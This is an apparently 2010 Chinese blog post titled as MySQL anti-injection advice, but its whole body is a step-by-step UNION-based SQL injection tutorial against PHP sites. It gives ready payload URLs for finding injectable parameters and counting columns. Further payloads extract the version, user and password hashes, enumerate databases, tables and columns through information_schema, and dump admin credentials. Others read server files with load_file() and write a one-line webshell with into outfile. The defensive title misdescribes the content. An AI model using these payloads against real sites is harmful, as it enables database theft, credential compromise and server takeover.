mysql防注入代码,防止别人写入代码
mysql5注入2010-05-30 16:45假设url:http://www.abc.com/fuck.php?id=1
这里只讨论php+mysql5的搭配,并且在mysql5中的information_schema系统表可以正常使用的情况下...
1.判断是否是注入点:and 1=1/* and 1=2/*
2.判断字段长度
假如http://www.abc.com/fuck.php?id=1 order by n/*时出错,字段长度就是n-1
当然可以采用递增的方法http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,2,3,4,5.....n-1/*
3.判断版本,数据库名,数据库连接用户名,mysql系统用户,用户密码
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,2,3,4,5....n-1/*这里出现的索引值,我们只能用字符型的索引值,假设索引值是2、3、4,而且都是字符型的
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,unhex(hex(version())),unhex(hex(user())),unhex(hex(database
())),5.....n-1/*
有些时候我们不对函数进行编码的话,可以会读取不出来,所以我们直接利用unhex(hex())绕过直接读取,如果这个要读不出来,我也没办法了
假设这里得到mysql连接用户是abc,我们先对abc进行16进制编码为0x616263,然后可以通过http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,unhex(hex(password(0x616263))),3,4,5.....n-1/*获得abc用户的密码hash
mysql的密码官方标准的加密方式是40位sha1加密,但是也有部分采用的是md5或者其他的加密方式
4.判断是否存在information_schema系统表(我没有想到更好的办法)
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,2,3,4,5....n-1/*
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,schema_name,3,4,5....n-1 from information_schema.schemata/*
如果有返回值的话就说明information_schema系统是存在的
5.判断数据库服务器中有多少个数据库(系统库有information_schema、test、mysql三个)
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,schema_name,3,4,5....n-1 from information_schema.schemata limit 0,1/*
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,schema_name,3,4,5....n-1 from information_schema.schemata limit 1,1/*
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,schema_name,3,4,5....n-1 from information_schema.schemata limit 2,1/*
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,schema_name,3,4,5....n-1 from information_schema.schemata limit 3,1/*
limit进行递增,一旦出错的话就说明没有了
6.假设有个库名是fuck,我们来查fuck库中的表
首先对fuck进行16进制编码为0x6675636B
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,table_name,3,4,5....n-1 from information_schema.tables where
table_schema=0x6675636B limit 0,1/*
同上面一样进行limit参数递增,得到fuck库中所有的表,假设有个表是admin
7.我们来读取fuck库中admin表中的字段
同样我们要对admin进行16进制编码为0x61646D696E,提交
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,column_name,3,4,5....n-1 from information_schema.columns where table_name=0x61646D696E limit 0,1/*
同样limit进行递增,假设字段是username和password
8.获得fuck库admin表username和password字段的内容
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,username,password,4,5....n-1 from admin
如果读取的数据库名和user()函数读取的一样的话,假设上面的fuck库不是web当前使用的数据库,最后读取字段内容的时候admin表要写成fuck.admin的形式
还有就是load_file()和into outfile()函数的使用
先说load_file()
路径有使用者自己来输入,假设是c:\boot.ini,先对c:\boot.ini进行16进制编码为0x633A5C626F6F742E696E69,然后提交
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,unhex(hex(load_file(0x633A5C626F6F742E696E69))),3,4,5....n-1/*
这个load_file()进行unhex(hex())绕一下效果更好
into outfile()函数,在php脚本中威力表现不出来,因为php版本默认设置的原因,如果是其他脚本和mysql搭配的话,into outfile()就能发挥威
力了
http://www.abc.com/fuck.php?id=1 and 1=2 union select 1,'一句话木马',3,4,5....n-1 into oufile('xxxxx')/*
路径可以16进制编码下